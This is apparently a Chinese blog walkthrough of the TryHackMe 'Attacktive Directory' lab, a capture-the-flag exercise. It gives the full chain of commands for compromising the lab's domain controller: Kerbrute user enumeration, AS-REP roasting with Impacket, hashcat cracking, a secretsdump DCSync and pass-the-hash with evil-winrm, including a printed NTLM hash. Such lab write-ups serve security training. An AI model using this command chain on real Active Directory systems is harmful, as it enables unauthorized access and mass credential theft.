TryHackMe-Attacktive Directory

发布于 2022-11-17  367 次阅读


简介

99% 的企业网络都使用 AD。但是你能利用易受攻击的域控制器吗?

房间链接:

https://tryhackme.com/room/attacktivedirectory

工具安装:

Impacket

sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/
sudo python3 setup.py install

Bloodhound and Neo4j

apt install bloodhound neo4j

攻击流程

首先开始先通过nmap进行端口探测

nmap -p 1-65535 -sV -sC 10.10.11.151

可以发现存在一个域,开放了不少端口

尝试使用nmap进行漏洞探测

nmap -p 445 --script smb-vuln* 10.10.11.151

没什么发现,继续进行共享探测

nmap -p 445 --script smb-enum* 10.10.11.151

到这儿有几道题目已经有结果了

工具详见
http://www.dest1ny.xyz/2022/11/15/%e5%b7%a5%e5%85%b7%e5%ad%a6%e4%b9%a0-windows%e5%92%8csamba%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86-enum4linux/

这里看到88端口开启Kerberos服务
Kerberos 是 Active Directory 中的一项关键身份验证服务
可以使用名为Kerbrute工具来暴力破解用户、密码甚至密码喷洒!
使用:

git clone https://github.com/ropnop/kerbrute.git
cd kerbrute/
make linux
cd dist/
./kerbrute_linux_amd64  userenum --dc 10.10.11.151 -d spookysec.local userlist.txt

通过简单分析,svc-admin、 administrator、backup等账号比较特殊。

滥用Kerberos介绍

用户帐户枚举完成后,我们可以尝试使用一种称为ASREPRoasting的攻击方法来滥用 Kerberos 中的功能 。当用户帐户设置了“不需要预身份验证”权限时,就可能发生ASREPRoasting攻击。这意味着该帐户在请求指定用户帐户的Kerberos票据之前不需要提供有效的身份证明。

AS-REP Roasting攻击

这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。如果用户开启了“不使用Kerberos预认证”,攻击者就可以获取到Kerberos AS-REP,经过用户的RC4-HMAC密码加密过的,然后他就可以离线破解这个凭证了。

身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。

该属性默认是没有勾选上的,当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

AS-REP Roasting Kerberoasting和黄金票据的区别

如果你觉得这三种攻击方式理解起来容易混淆,那我这里就以一种简单的方式来解释一下:

· AS-REP Roasting:获取用户hash然后离线暴力破解

· Kerberoasting:获取应用服务hash然后暴力破解

· 黄金票据:通过假冒域中不存在的用户来访问应用服务

默认情况下,Do Not Require Pre-Authentication对于域用户来说是禁用的。

Impacket 有一个名为“GetNPUsers.py”的工具(位于 impacket/examples/GetNPUsers.py),它允许我们从密钥分发中心查询 ASReproastable 帐户。查询帐户唯一需要的是我们之前通过 Kerbrute 枚举的一组有效用户名。

python3 /opt/impacket/examples/GetNPUsers.py spookysec.local/svc-admin -no-pass

这里需要绑定下host

成功获取票据

接着搜索加密方式

https://hashcat.net/wiki/doku.php?id=example_hashes

使用hashcat破解

hashcat -m 18200 hash.txt passwordlist.txt

成功获取密码


使用该用户查看smb共享

这里看到一个backup文件夹,查看

里面有个backup_credentials.txt文件,下载下来发现里面是加密字符串

解密后发现是账号密码


现在我们有了新的用户帐户凭据,我们可能在系统上拥有比以前更多的权限。帐户“备份”的用户名让我们思考。这是什么备份帐户?

好吧,它是域控制器的备份帐户。此帐户具有允许所有 Active Directory 更改与此用户帐户同步的唯一权限。这包括密码哈希

知道这一点,我们可以使用 Impacket 中的另一个工具,称为“secretsdump.py”。这将允许我们检索该用户帐户(与域控制器同步)必须提供的所有密码哈希。利用这一点,我们将有效地完全控制 AD 域。

python3 /opt/impacket/examples/secretsdump.py -dc-ip 10.10.11.151 -target-ip 10.10.11.151 backup@spookysec.local

获取了所有用户的hash

这里我们可以用Evil-WinRM 进行哈希传递

先安装

sudo gem install evil-winrm

接着开始利用

evil-winrm -i 10.10.11.151 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

成功返回shell

获取flag




届ける言葉を今は育ててる
最后更新于 2022-11-17